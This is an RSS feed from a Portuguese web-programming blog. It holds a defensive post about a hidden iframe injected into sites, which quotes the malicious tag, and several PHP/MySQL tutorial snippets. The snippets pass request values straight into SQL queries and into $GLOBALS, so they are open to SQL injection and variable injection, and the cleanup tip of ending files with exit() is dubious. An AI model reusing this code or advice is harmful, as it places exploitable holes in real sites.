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	<description>Blog sobre programação de tecnologias para Internet</description>
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		<title>Web</title>
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		<item>
		<title>Vírus Iframe, um trojan hacker que infecta seu site, blog ou página pelo FTP.</title>
		<link>http://devinternet.wordpress.com/2009/07/16/virus-iframe-um-trojan-hacker-que-infecta-seu-site-blog-ou-pagina-pelo-ftp/</link>
		<comments>http://devinternet.wordpress.com/2009/07/16/virus-iframe-um-trojan-hacker-que-infecta-seu-site-blog-ou-pagina-pelo-ftp/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 14:16:20 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[site]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/2009/07/16/virus-iframe-um-trojan-hacker-que-infecta-seu-site-blog-ou-pagina-pelo-ftp/</guid>
		<description><![CDATA[Como previnir e remover um vírus que afeta as páginas e blogs da Internet.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=33&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Vírus Iframe, um trojan hacker que infecta seu site, blog ou página pelo FTP. Uma linha de código dentro do html que carrega um vírus para o usuário, alguns anti-vírus conseguem detectar e apenas fecha a página, sem mostrar o conteúdo do site e ainda, sem matar o vírus.</p>
<p>Um novo vírus está se espalhando pela Internet, não por email como  antigamente&#8217;, mas sim pelo código-fonte dos sites da Web. Para descobrir se sua página tem esse vírus, clique em com o botão direito na página e vá em Exibir código fonte, aí dentro digite ctrl + f e busque por iframe. Se aparecer algo como este abaixo, parabéns, você é mais um contemplado nesta nova praga.</p>
<pre class="brush: php;">
iframe src=&quot;http://untlexy.net/?click=A0A0A0&quot; width=1 height=1 style=&quot;visibility:hidden;position:absolute&quot;&gt;</pre>
<p>Não vou elogiar a criatividade dos criadores de vírus, parece que só agora eles descobriram a tag Iframe. Este código traz uma Url qualquer, pode ser uma página dentro ou fora do servidor do site. Um elemento Html antes muito usado, está caindo da biblioteca dos programadores depois do Ajax. Este iframe usado de má fé, traz um código css dentro do atributo Style, que esconde o conteúdo, ou seja, não traz nenhuma modificação na parte visual do site infectado, e mesmo assim continua executando o conteudo do url, que é um script que tenta instalar um vírus na máquina do usuário.</p>
<p><strong>Como remover este vírus:</strong></p>
<ul>
<li> abra os arquivos index.php em seu site e remova a linha com o código.</li>
<li> passe o antivírus em sua máquina</li>
<li> não salve as senhas nos programas de ftp, ex.: dreamweaver</li>
<li> use o código exit(); no final do arquivo php</li>
</ul>
<p>Quando usamos o código exit(); no final do arquivo, impedimos que apareça a tag do vírus, mesmo que ele esteja dentro do código.</p>
<p><strong>No WordPress ele infecta:</strong></p>
<ul>
<li>index.php</li>
<li>wp-admin/index.php</li>
<li>wp-content/themes/seutema/index.php</li>
<li>wp-content/themes/seutema/home.php</li>
</ul>
<p>Encontrei pouca documentação interessante sobre isto, quase nada para ser sincero, acredito que ele rouba as senhas do blog, do ftp e ainda instala um trojan. Quem tem um bom antivírus não consegue vizualizar a página.</p>
<p>Caso tenha alguma dúvida ou sugestão comente abaixo.</p>
<br />Publicado emProgramação Web Tagged: blog, iframe, site, virus <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devinternet.wordpress.com/33/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devinternet.wordpress.com/33/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devinternet.wordpress.com/33/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=33&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
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	</item>
		<item>
		<title>PHP e MySql: Apagar Dados</title>
		<link>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-apagar-dados/</link>
		<comments>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-apagar-dados/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 18:11:06 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[MySql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[mysql DELETE]]></category>
		<category><![CDATA[php exit]]></category>
		<category><![CDATA[php header()]]></category>
		<category><![CDATA[php mysql_query()]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/2008/02/09/php-e-mysql-apagar-dados/</guid>
		<description><![CDATA[&#60; ?php $query = &#34;DELETE FROM `tabela` WHERE id='$_GET[id]'&#34;; $deleta = mysql_query($query) or print(mysql_error()); header(&#34;Location: pagina.php&#34;); exit; ?&#62;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=13&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: php;"> &lt; ?php
$query = &quot;DELETE FROM `tabela` WHERE id='$_GET[id]'&quot;;
$deleta = mysql_query($query) or print(mysql_error());
header(&quot;Location: pagina.php&quot;);
exit;
?&gt;</pre>
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	</item>
		<item>
		<title>PHP e MySql: Editar Dados</title>
		<link>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-editar-dados/</link>
		<comments>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-editar-dados/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 18:10:21 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[MySql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[função exit]]></category>
		<category><![CDATA[função header]]></category>
		<category><![CDATA[função mysql_query]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/2008/02/09/php-e-mysql-editar-dados/</guid>
		<description><![CDATA[&#60; ?php $sql = &#34;UPDATE `tabela` SET `coluna`='$dado' WHERE `id`='$id'&#34;; $atualiza = mysql_query( $sql ) or print( mysql_error() ); header(&#34;Location: pagina.php&#34;); exit; ?&#62;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=12&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: php;">&lt; ?php
$sql = &quot;UPDATE `tabela` SET `coluna`='$dado' WHERE `id`='$id'&quot;;
$atualiza = mysql_query( $sql ) or print( mysql_error() );
header(&quot;Location: pagina.php&quot;);
exit;
?&gt;</pre>
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	</item>
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		<title>PHP e Mysql: Adicionar ao Banco de Dados</title>
		<link>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-adicionar-ao-banco-de-dados/</link>
		<comments>http://devinternet.wordpress.com/2008/02/09/php-e-mysql-adicionar-ao-banco-de-dados/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 18:09:16 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[MySql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[mysql INSERT]]></category>
		<category><![CDATA[mysql INTO]]></category>
		<category><![CDATA[mysql VALUES]]></category>
		<category><![CDATA[php date()]]></category>
		<category><![CDATA[php header()]]></category>
		<category><![CDATA[php htmlentities()]]></category>
		<category><![CDATA[php include()]]></category>
		<category><![CDATA[php mysql_error()]]></category>
		<category><![CDATA[php mysql_query()]]></category>
		<category><![CDATA[php print()]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/2008/02/09/php-e-mysql-adicionar-ao-banco-de-dados/</guid>
		<description><![CDATA[&#60; ?php include(&#34;../src/conectar.php&#34;); ?&#62; &#60; ? $data = date(&#34;Y-m-d H:i:s&#34;); $titulo = htmlentities($_POST['titulo']); $texto = htmlentities($_POST['texto']); $tabela = &#34;conteudo&#34;; $campos = &#34;datahora, titulo, texto&#34;; $dados = &#34;'$data', '$titulo', '$texto'&#34;; $query = &#34;INSERT INTO &#34;.$tabela.&#34; (&#34;.$campos.&#34;) VALUES (&#34;.$dados.&#34;)&#34;; $sql = mysql_query($query) or print(mysql_error()); header(&#34;Location: pagina.php&#34;); /* Redirect browser */ /* Make sure that code below does [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=11&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: php;">&lt; ?php include(&quot;../src/conectar.php&quot;); ?&gt;
&lt; ?
$data =  date(&quot;Y-m-d H:i:s&quot;);
$titulo = htmlentities($_POST['titulo']);
$texto = htmlentities($_POST['texto']);
$tabela = &quot;conteudo&quot;;
$campos = &quot;datahora, titulo, texto&quot;;
$dados = &quot;'$data', '$titulo', '$texto'&quot;;
$query = &quot;INSERT INTO &quot;.$tabela.&quot; (&quot;.$campos.&quot;) VALUES (&quot;.$dados.&quot;)&quot;;
$sql = mysql_query($query) or print(mysql_error());

header(&quot;Location: pagina.php&quot;); /* Redirect browser */

/* Make sure that code below does not get executed when we redirect. */
exit;
?&gt;</pre>
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			<media:title type="html">devinternet</media:title>
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	</item>
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		<title>URL 2.0</title>
		<link>http://devinternet.wordpress.com/2008/02/08/url-20/</link>
		<comments>http://devinternet.wordpress.com/2008/02/08/url-20/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 10:59:55 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/?p=9</guid>
		<description><![CDATA[.htaccess DirectoryIndex ./index.php IndexIgnore */* RewriteEngine On RewriteBase / RewriteRule ^([0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?$ http://www.exemplo.com.br/index.php?option=$1&#38;1=$2&#38;2=$3&#38;3=$4&#38;4=$5&#38;5=$6&#38;6=$7&#38;7=$8&#38;8=$9 AddType image/gif .jpg index.php &#60;?php $i = 1; while ($i &#60; 9){ $var_str = explode(&#34;/&#34;,$_GET[$i]); if ($var_str[0] &#60;&#62; &#34;&#34;){ $GLOBALS[$var_str[0]] = $var_str[1]; } $i++; } unset($i,$var_str); $option = $_GET[&#34;option&#34;]; ?&#62;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=9&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>.htaccess</strong></p>
<ol>
<li>DirectoryIndex ./index.php</li>
<li>IndexIgnore */*</li>
<li>RewriteEngine On</li>
<li>RewriteBase /</li>
<li>RewriteRule ^([0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?([0-9a-zA-Z_]*[\/]?[0-9a-zA-Z_]*)[\/]?$ http://www.exemplo.com.br/index.php?option=$1&amp;1=$2&amp;2=$3&amp;3=$4&amp;4=$5&amp;5=$6&amp;6=$7&amp;7=$8&amp;8=$9</li>
<li>AddType image/gif .jpg</li>
</ol>
<p><strong>index.php</strong></p>
<pre class="brush: php;">
&lt;?php
$i = 1;
while ($i &lt; 9){
 $var_str = explode(&quot;/&quot;,$_GET[$i]);
  if ($var_str[0] &lt;&gt; &quot;&quot;){
   $GLOBALS[$var_str[0]] = $var_str[1];
  }
 $i++;
}
unset($i,$var_str);
$option = $_GET[&quot;option&quot;];
?&gt;
</pre>
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		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/df3bfe3225cb1b155f65a13ce49127da?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">devinternet</media:title>
		</media:content>
	</item>
		<item>
		<title>Validar formulário em Javascript</title>
		<link>http://devinternet.wordpress.com/2008/02/07/validar-formulario-em-javascript/</link>
		<comments>http://devinternet.wordpress.com/2008/02/07/validar-formulario-em-javascript/#comments</comments>
		<pubDate>Thu, 07 Feb 2008 16:03:02 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programação Web]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/?p=7</guid>
		<description><![CDATA[&#60;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&#62; function valida(formulario){ var total = formulario.elements.length; i = 0 while (i &#60;= total) { if(formulario.elements[i].value == &#34;&#34;){ //    alert(&#34;O campo &#34; + formulario.elements[i].name + &#34;  continua vazio.&#34;); formulario.elements[i].focus(); return false; break; } i++ } } &#60;/script&#62; &#60;form onSubmit=&#34;return valida(this);&#34;&#62;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=7&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: jscript;">
&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;
function valida(formulario){
var total = formulario.elements.length;
i = 0
while (i &lt;= total)
{
if(formulario.elements[i].value == &quot;&quot;){
//    alert(&quot;O campo &quot; + formulario.elements[i].name + &quot;  continua vazio.&quot;);
formulario.elements[i].focus();
return false;
break;
}
i++
}
}
&lt;/script&gt;
&lt;form onSubmit=&quot;return valida(this);&quot;&gt;
</pre>
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		<slash:comments>6</slash:comments>
	
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			<media:title type="html">devinternet</media:title>
		</media:content>
	</item>
		<item>
		<title>Listar somente arquivo mp3</title>
		<link>http://devinternet.wordpress.com/2008/02/06/listar-somente-arquivo-mp3/</link>
		<comments>http://devinternet.wordpress.com/2008/02/06/listar-somente-arquivo-mp3/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 20:37:46 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[função dir]]></category>
		<category><![CDATA[função htmlentities]]></category>
		<category><![CDATA[função rawurlencode]]></category>
		<category><![CDATA[função read]]></category>
		<category><![CDATA[função substr]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/?p=6</guid>
		<description><![CDATA[&#60;?php $path = &#34;../tmp/&#34;; $d = dir($path); echo &#34;&#60;ul&#62;\n&#34;; while (false !== ($entry = $d-&#62;read())) { if((substr($entry, -3) == &#34;MP3&#34;) &#124;&#124; (substr($entry, -3) == &#34;mp3&#34;)) { $url = htmlentities($entry); $file = rawurlencode($entry); echo &#34;&#60;li&#62;&#34;; echo &#34;&#60;a href=\&#34;$path$file\&#34;&#62;&#34;; echo $url; echo &#34;&#60;/a&#62;&#34;; echo &#34;&#60;/li&#62;\n&#34;; } } echo &#34;&#60;/ul&#62;\n&#34;; $d-&#62;close(); ?&#62; Função para listar diretórios. Na linha [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=6&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: php;">
&lt;?php
$path = &quot;../tmp/&quot;;
$d = dir($path);
echo &quot;&lt;ul&gt;\n&quot;;
while (false !== ($entry = $d-&gt;read())) {
if((substr($entry, -3) == &quot;MP3&quot;) || (substr($entry, -3) == &quot;mp3&quot;)) {
$url = htmlentities($entry);
$file = rawurlencode($entry);
echo &quot;&lt;li&gt;&quot;;
echo &quot;&lt;a href=\&quot;$path$file\&quot;&gt;&quot;;
echo $url;
echo &quot;&lt;/a&gt;&quot;;
echo &quot;&lt;/li&gt;\n&quot;;
}
}
echo &quot;&lt;/ul&gt;\n&quot;;
$d-&gt;close();
?&gt;
</pre>
<p>Função para listar diretórios.</p>
<ul>
<li>
<div>Na linha 6 está restrito apenas para arquivos no formato MP3, pode ser mudado para jpg, gif ou qualquer extensão. Não lê o<em> mime-type</em>, apenas usa a função <strong>substr</strong>, que retira as últimas três letras para identificar com a extensão do arquivo.</div>
</li>
<li>
<div>Na linha 7 a função <strong>htmlentities</strong> trabalha com os caracteres especiais.</div>
</li>
<li>
<div>Na linha 8 a função <strong>rawurlencode</strong> converte os acentos e caracteres especiais para usarmos na url do arquivo.</div>
</li>
</ul>
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		<slash:comments>0</slash:comments>
	
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			<media:title type="html">devinternet</media:title>
		</media:content>
	</item>
		<item>
		<title>Retirar acentos e caracteres especiais</title>
		<link>http://devinternet.wordpress.com/2008/02/06/retirando-acentos-e-caracteres-especiais/</link>
		<comments>http://devinternet.wordpress.com/2008/02/06/retirando-acentos-e-caracteres-especiais/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 20:17:36 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[função ereg_replace]]></category>
		<category><![CDATA[função strtolower]]></category>
		<category><![CDATA[função strtr]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/?p=5</guid>
		<description><![CDATA[&#60;?php $t = &#34;Acentuação em arquivos.doc&#34;; $p = strtr($t, &#34;áàãâéêíóôõúüçÁÀÃÂÉÊÍÓÔÕÚÜÇ &#34;, &#34;aaaaeeiooouucAAAAEEIOOOUUC_&#34;); $url = ereg_replace('[^a-zA-Z0-9_.]', '', $p); $url = strtolower($url); echo $url; // acentuacao_em_arquivos.doc ?&#62; Script retira acentos e caracteres especiais, depois converte para minúsculas. Útil para arquivos e url.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=5&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div>
<pre class="brush: php;">
&lt;?php
$t = &quot;Acentuação em arquivos.doc&quot;;
$p = strtr($t, &quot;áàãâéêíóôõúüçÁÀÃÂÉÊÍÓÔÕÚÜÇ &quot;, &quot;aaaaeeiooouucAAAAEEIOOOUUC_&quot;);
$url = ereg_replace('[^a-zA-Z0-9_.]', '', $p);
$url = strtolower($url);
echo $url; // acentuacao_em_arquivos.doc
?&gt;
</pre>
<p>Script retira <strong>acentos e caracteres especiais</strong>, depois converte para minúsculas. Útil para arquivos e url.</p>
</div>
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		<slash:comments>0</slash:comments>
	
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			<media:title type="html">devinternet</media:title>
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	</item>
		<item>
		<title>PHP: Retornar uma parte de uma string com as palavras inteiras</title>
		<link>http://devinternet.wordpress.com/2008/02/06/php-retornar-uma-parte-de-uma-string-com-as-palavras-inteiras/</link>
		<comments>http://devinternet.wordpress.com/2008/02/06/php-retornar-uma-parte-de-uma-string-com-as-palavras-inteiras/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 16:44:37 +0000</pubDate>
		<dc:creator>devinternet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação Web]]></category>
		<category><![CDATA[php break]]></category>
		<category><![CDATA[php count]]></category>
		<category><![CDATA[php explode]]></category>
		<category><![CDATA[php for]]></category>
		<category><![CDATA[php if()]]></category>
		<category><![CDATA[php intval()]]></category>
		<category><![CDATA[php strlen()]]></category>
		<category><![CDATA[php substr]]></category>

		<guid isPermaLink="false">http://devinternet.wordpress.com/?p=3</guid>
		<description><![CDATA[&#60; ? $frase = &#34;China defende novas regras para áudio e vídeo na internet&#34;; $divide = explode(&#34; &#34;, $frase); $total = count( $divide ); $soma = 0; $palavras = 4; for ($i = 0; $i &#60; $total; $i++) { $f = $divide[$i]; $len = strlen($f); $soma = $soma + intval($len); $soma ++; if($i &#62;= $palavras)break; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devinternet.wordpress.com&amp;blog=2774227&amp;post=3&amp;subd=devinternet&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre class="brush: php;">&lt; ?
$frase = &quot;China defende novas regras para áudio e vídeo na internet&quot;;
$divide = explode(&quot; &quot;, $frase);
$total = count( $divide );
$soma = 0;
$palavras = 4;
for ($i = 0; $i &lt; $total; $i++) {
$f = $divide[$i];
$len = strlen($f);
$soma = $soma + intval($len);
$soma ++;
if($i &gt;= $palavras)break;
}
echo substr($frase, 0, $soma);
?&gt;</pre>
<p><strong>Retorna</strong>:</p>
<p>China defende novas regras</p>
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